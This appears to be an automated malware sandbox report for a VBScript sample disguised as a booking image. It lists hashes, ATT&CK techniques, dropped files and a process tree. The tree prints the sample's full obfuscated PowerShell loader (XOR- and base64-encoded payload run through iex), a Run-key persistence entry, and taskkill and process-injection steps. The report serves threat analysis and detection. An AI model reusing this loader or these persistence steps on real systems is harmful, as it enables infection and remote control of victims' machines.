ea8ea9ca27df40a6e2f961098431f5fd6116f469682e5152c080553664bb9d7a

Analysis

max time kernel
149s
max time network
110s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/08/2026, 03:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Booking180023png.vbs
Size 25KB
Sample260825-d2ekvssvcv
SHA256 ea8ea9ca27df40a6e2f961098431f5fd6116f469682e5152c080553664bb9d7a
MD5 4de2d8e917199b79a062e5b7f0cc2051
SHA1 a72c8fe3c76cd506a1ba7cb8d09cfe80b9187f33
SHA512 3fead89872b38aa327f518c72efec24256488839bed30a717069e2620812d339f681851258937c75ff87e29a9345ea2c00e7382227f4202d67988d188a3a0939
SSDEEP 384:KxwmkW5NN75y3vRbUOYM1V/bl2xWzRu9YMjp8hmW5KJ3oxsP5R5qw6yp8E29a+BC:KntVOr9bLup05Z1a665RUtj7ZQr
TLSH
T167C2242788078BF01E2939D5B56FA417AB1003A57838794A398FD1AD3FF6750CBD14AE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2896	powershell.exe
3	2896	powershell.exe
4	2896	powershell.exe
5	2896	powershell.exe
7	2896	powershell.exe
8	2896	powershell.exe
9	2896	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2896	powershell.exe
4532	powershell.exe
3636	powershell.exe
4228	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\Sgkmbljhkc = "\"C:\\ProgramData\\SAiipar.vbs\""	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1416	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2896 set thread context of 1948	2896	powershell.exe	113

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4452	cmd.exe
5004	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
4760	taskkill.exe
2956	taskkill.exe
6084	taskkill.exe
2792	taskkill.exe
2724	taskkill.exe
3816	taskkill.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
2896	powershell.exe
2896	powershell.exe
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
4228	powershell.exe
4228	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe
4228	powershell.exe
2896	powershell.exe
2896	powershell.exe
1948	RegAsm.exe
1948	RegAsm.exe
1948	RegAsm.exe
1948	RegAsm.exe
1948	RegAsm.exe
1948	RegAsm.exe
1948	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	2896	powershell.exe
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2956	taskkill.exe
Token: SeDebugPrivilege	6084	taskkill.exe
Token: SeDebugPrivilege	2792	taskkill.exe
Token: SeDebugPrivilege	4532	powershell.exe
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	2724	taskkill.exe
Token: SeDebugPrivilege	3816	taskkill.exe
Token: SeDebugPrivilege	4760	taskkill.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1416 wrote to memory of 2896	1416	WScript.exe	90
PID 2896 wrote to memory of 1104	2896	powershell.exe	92
PID 1104 wrote to memory of 4628	1104	csc.exe	93
PID 2896 wrote to memory of 3636	2896	powershell.exe	97
PID 3636 wrote to memory of 4452	3636	powershell.exe	99
PID 4452 wrote to memory of 2956	4452	cmd.exe	101
PID 4452 wrote to memory of 6084	4452	cmd.exe	102
PID 4452 wrote to memory of 2792	4452	cmd.exe	103
PID 2896 wrote to memory of 4228	2896	powershell.exe	104
PID 2896 wrote to memory of 4532	2896	powershell.exe	105
PID 4532 wrote to memory of 5004	4532	powershell.exe	108
PID 5004 wrote to memory of 2724	5004	cmd.exe	110
PID 5004 wrote to memory of 3816	5004	cmd.exe	111
PID 5004 wrote to memory of 4760	5004	cmd.exe	112
PID 2896 wrote to memory of 1948	2896	powershell.exe	113
PID 2896 wrote to memory of 1948	2896	powershell.exe	113
PID 2896 wrote to memory of 1948	2896	powershell.exe	113

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Booking180023png.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=84-83;$jwc3jvQn='gXgc0fLr';$qv9zVUupS='ab87a3aaeea589b6edadbfe1bebfcfa3e999f0ffaff7bd8bb481b9acf7e2b2bdb586e38cf4af89bca49caa94a0f6b38c8bcae38effb8b5acbf9ba3aeb29784a1b9979694c7e4bd8bb481b9acf7e2a5b7a384a8bbee91dce28b80a2a4d8ad95bdfbc69ebde8a588bfe5d6bee0e6e99dfc92dfafb1f5bec2b3b0dbe4b497c6ebd29e86acbbeee1b5b4a897bde9b79f83bba29ca9babaffebd296bca8bdb49f83aabb9baeaccaa38fb6b9bfaca7fbab83aa90c8f79affaf93aaa486b499e8a392b7ae9da1e9a7ecbd96a886e39affaf93aaa486b499e8a392b7ae9da19de3bc8385f7c899a5e9fdd4d5c7d6acfaaaf1ce87bfd2ea83c8a7b6959ebfbe80f395b3bba4c2fa83cb95be969cc6f988a98d8fbbb4c2fd8ee0aba29e9ea3978da989849ea3b7fd8fd9bbbe948ebf8a8fe3bf8a9aa4c2fe80e3bf9f92a4bb878fe3ab8c9aa4c2bf8adb95b695a595978de0bfaf9ababfb88ed896d6bb9ebcb7aadba7bf9f9fbfb983d285a2bb8f95be86ce89bf978cbffa83cb95aebb9eb39a8dd995b79f9ccafa8ee29691938ebf8782f395b09aa395bd8eed9dae97b4b8b78fe099bf94899efd8afd95aabc8ea78a8fe381bc9daabfbb8af2a7d799b4b8b48de3fc8c9eaa81b483d885a294a5b7988be0bf8fbbb591fc8ed9bbd3bc8cc2bc83c9fc8a9a8f96fc8ee295b6bb8ea78a85ce9d84bb9c91fa80f481be969f95be86c29dad99a482ff8adb9592948c9d8a83f395af9e95b3fd83c895d395aa9d9787c2abaf9b9c81b983cba7be978ebfa288ed818f9b9cbf8880a98291939eb39aadce9db7bba591f980f3bbbe968ea7888ce0af8c9eaa91b580e3a4d69c8ebcb78be3a3ad9aa4bbb58df48691bd8ccff0eeb3c1ec99a996e09de3bc83f8e0a6b4b9ff8883bea49ca4bdf3a388f8e5a999ace2b8c89da391a2adf3a28185f7c8989ddcf4c89fa8869ebde8a588bfe5a98ea6f4ba83aab9aff7f3dcbe89b58f93beacacf8b5acbf9ba3aeb2e887ebfddbe4e097c680ada391b9a0f5a2c6bce5d6acfaabe59dfcacc1fff4d4a991f58290a7acf9b8c696a886e39effaea5b4a497a3bda1e4a1bdb9df9fa8f4a889b5edd6acfaabeccb9ba287a3bdbae887ebfcdc8ea6efa292f1b1d7b6bde8b59daaa886b8bbf4ecc2b9fec0e38df5bb88b4a293a98dfbb887f0e9ade4b4f9ad92bba589b0b4e7c1ecbeb89caebdf3a388f8a4dae9a8a9e0c2b9f9dee9a8afe0c2b9fbcf8de1b3e59dfcacc5f092caa487b6b99da08efbb88385f7c881a6fba8a7abbe97a0abf6b5cefcacc1e4f2beaddee5e993fae7dda9928cb482a8bab2e59ae7b6d692e7dcb98ab48393a0acbae183a9';$mZFW4lDnk='EilTAhgIPUYLMBZXXR1eQkZAV0INXH0PFmwHGk1oS0JUYVdVEVp2SRxPW1gBWndAdGFTURZuMXhALRVzMWJza2FqW1Q0C2xrSkgCfxwDdm5fPWF4NnIobHFHRnUmC2BpYUxEfwxiJAAbJBsNQVEpGltrGhdBUiAJe35hQgRHcEQbdml3BkdwUVN5XUQ4CSNkQGhTQgB6d1RGbFxVABs9RgokTw1BUiAJe2NEWQ5WMQNQPR4SBAUwWj8HPzxBUSgaciUaHjpBOQB5WWcHQho5DBIlbURFFFR/RnhQXzxcV3RZPXsEXVpVTkp4dlwoA1JOY354citGUmRFanhfN0ZUXmN5eHUkSlNjeHh4ZVEBVV4CeHt1M0ZaZEVqeF83RnpKCn9/ZTwOPg4bIRoeOkE5AHlZZwcoa21SUGNkBgcAV11WSgtBBl1LUVFFVk4HWkxSfGQKQilaWEt/YAdPB0pqX3hqDwtCGjALGiVtREUUUnNnPH9uEUZ7SXB1VltcRH1JZHtRBTdEexRwelEEUVxVZGh4UVtdQVR0azAVH0waFC1baxoeQVErGlYtFlRUGjRGXGkaEgQHJHxmaEpCS3Z3RF1pW1gCbiMdZ1l0Dkt0fFNheUBfC1QxA1A/Gx9IXnhTUWUaaRcTPkFqPWFwNHIkABstGRZNbGsHFUhKYEpVK0tEbAEDClVBF3dJRQtYFDAHGS0aaRcTPmVqNB0RTBpiKjgtEhIHADkaEiVtREUUV3NZPFBBBlhTdEFqfnVcRnp/ZHhXbjNFfX98d1AFDUV9FHB3UFtQBFNNe2N5XzxdUnRRdHhMLF8+DhI2EhIHADkaEilQBUtgbEVBeUBfC1QxFx4tFlRWHVVCXGpGXkUeORYAJD88QVIqFhIwEh46QTkAUXoPC0IaORw/BxZUUQ4xeEAtFXohVGFqSzlfexxyakVFZkcRTBMyBxpSQBZCf1p2WUBVC1gUMBw/BxIWRRNwBxpWcVkLRXxVRlAIDCNBdkpwbEFTUwdKU0BkXFFNF1RGRm5aUxZoKHobJBISBwc5D21/EhEoSUhRf2d7C0IaOWcaKVAFSRM9RgE8HhZNbGsHFUhVdwp4XWJVQEULWBQwCxIlbURFFFxeY2BzcixAPg4eLRppFxM+RGMwDxFMEzUHGlJAFkJ8QUsBKhsfaDk5BxItdVMRHklVXW5XRRZPakhAeRJ1NWY5ClZoQVUZQHxLV25GFkhVcFVBeRIDGVVtB3xsX1NJcElyEnA/PGg5OQcSLRIWRRM5Bw==';$yod95MLD=0xE1A5-0xADE2;$pYhWmYj=@();foreach($c in [char[]]$jwc3jvQn){$pYhWmYj+=[byte]($c-bxor0xAA)};$jyFfKi=$pYhWmYj;$pYhWmYj=@();foreach($c in [char[]]$jwc3jvQn){$pYhWmYj+=[byte]($c-bxor0x55)};$shGwk4vV=$pYhWmYj;$pYhWmYjoldR='';$i=0;for($j=0;$j-lt$qv9zVUupS.Length;$j+=2){$pYhWmYjoldR+=[char](([Convert]::ToInt32($qv9zVUupS.Substring($j,2),16))-bxor$jyFfKi[$i++%$jyFfKi.Length])};$wa9oEeF=$pYhWmYjoldR;$pYhWmYjoldB=[Convert]::FromBase64String([regex]::Replace($mZFW4lDnk, '$pYhWmYj', ''));$pYhWmYjoldR='';$i=0;for($j=0;$j-lt$pYhWmYjoldB.Length;$j++){$pYhWmYjoldR+=[char]($pYhWmYjoldB[$j]-bxor$shGwk4vV[$i++%$shGwk4vV.Length])};$hW0qw4F=$pYhWmYjoldR;$cQbwRL=$wa9oEeF+$hW0qw4F;.($env:ComSpec[4,26,25]-join'') $cQbwRL
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1104
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB126.tmp" "c:\Users\Admin\AppData\Local\Temp\dqsm2p44\CSC465F48D3397D4758874D1BB3B9F28B6C.TMP"
      4⤵
      PID:4628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4452
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2956
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6084
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.vbs | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\SAiipar.vbs' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5004
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2724
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4760
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d92d529483d3340105c18086873cfbbc79ba2585fadb31c73c908545abc1f97c
MD5 3b20d8907f8fb0ef3fab55d52562262d
SHA1 ddb6693b9c25c3b647f7ab6f44715bef31577d49
SHA512 258d046884aa7d4d5f1dc90e617ba880c602d53bf576809be1dde22b9a886f6a0182b90a95eaf9904957b8dfa9c44f2620c520b93c9cb40a7d9dc73cec4ca6d3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
MD5 959e1b4918203c51928cb5a717a9dbf3
SHA1 bec8d10e1a38546b4c57fd1b30c624a7dc9a55ca
SHA512 ae841fca8446900c2bb270869687dbd9d0a0082540fd221e145d345d4cf547c4b01bd3aefc4a091577c9966d52d3ba15e72f9518124172e390e655acc761e93c
TLSH
T1E3213633B3DC8615D889407A50CEAC1436B697DB809E8E5BBB84D648B43F599CE60660
MD5 SHA1 SHA512 TLSH

Submit Download

RESB126.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESB126.tmp
Size 1KB
SHA256 6e36cc8d02263bd856345bcd8599baf5c1919a94196ac5c822e428164f151df6
MD5 c5b6574470ddb59153cf69a7388d49af
SHA1 ce83d9913b0d6f704cc09e9bbf081ab2144f9549
SHA512 181f8445d7a199d952b6f14d76d85af4d0163193c0ab90a3eed44c18b21bfab108086cd436f15bc5372d178abba522e55fcf98ccb985384495e9e88d9145deb3
TLSH
T1F5218C0553ED4B0FF47B5B32A9F6172FA275FD54EFA1935A444402682C51504EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_vavde3ob.1tw.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vavde3ob.1tw.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

dqsm2p44.dll

Path C:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.dll
Size 3KB
SHA256 6a480ef88afc9c214152a73d9a2b17b457f3058db5bdd6e4ce9cfc2467351ad4
MD5 bbb63317270e17af46868487399d5c97
SHA1 4394e0207bbc464ac7a3eab5ee922cb25c61ffee
SHA512 e916bff6df38fbd618736ae947dea6cef98df9489a2927ad24a9b52de50a65be8df551e5138c2cbad41edde1a1dd60facfdfd3574610eefa9d5050a2b6e52c8e
TLSH
T18251AC0A67E8472BE47B0B317EE743572775F9209B62535D59804228AC313646E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSC465F48D3397D4758874D1BB3B9F28B6C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\dqsm2p44\CSC465F48D3397D4758874D1BB3B9F28B6C.TMP
Size 652B
SHA256 1f0d8f015c86430e080cfe58a3fdb56caebf93a5dad4d5a57804a67f4f0dce1c
MD5 550ef01554903c70543b7a281493f5ae
SHA1 7f795800e61fd2c222bd50d9989a642f1823c279
SHA512 2d9eda21949d73007dd31ed7930aa8da8889fd47ad23f010dc95ab88921ba882fc38d9cf5e9f8ae2ad852eaa3da8315bf702cc7740692c9ef2621834429f10d5
TLSH
T147F03A0973F8420EF0F75F31B9F6436391A9BC65DE3293ED188403192C746109962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

dqsm2p44.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

dqsm2p44.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\dqsm2p44\dqsm2p44.cmdline
Size 369B
SHA256 7b626313e4aca6936110a51d9565bf01553d8793df11c69454b764a25398144a
MD5 92bccba4f30d0cf16c1b9bb37015162f
SHA1 13987abd8c661a44e381ec0d73848dda738716cb
SHA512 f992185a165fd58bed2db785fa10feed1b8b9410abe0734e6487a2d7e5435eb8de46625c7e165f619a219e4b9b410ccfb97f95c42c24db82e6107392e0519bb8
TLSH
T1C4E0C02A4256C37F26FD1007216AD4BCC27317536F403F9C60E0480EF01704037E1741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1948-47-0x0000000000040000-0x000000000008C000-memory.dmp

Download

memory/2896-10-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-32-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-15-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-18-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-19-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-13-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-12-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-11-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-0-0x00007FF98B9FF000-0x00007FF98BA00000-memory.dmp

Download

memory/2896-9-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-30-0x000002454C570000-0x000002454C578000-memory.dmp

Download

memory/2896-14-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-33-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-34-0x000002454AB80000-0x000002454AB96000-memory.dmp

Download

memory/2896-8-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-7-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-6-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-5-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-4-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download

memory/2896-3-0x0000024564A70000-0x0000024564A92000-memory.dmp

Download

memory/2896-51-0x00007FF98B870000-0x00007FF98C214000-memory.dmp

Download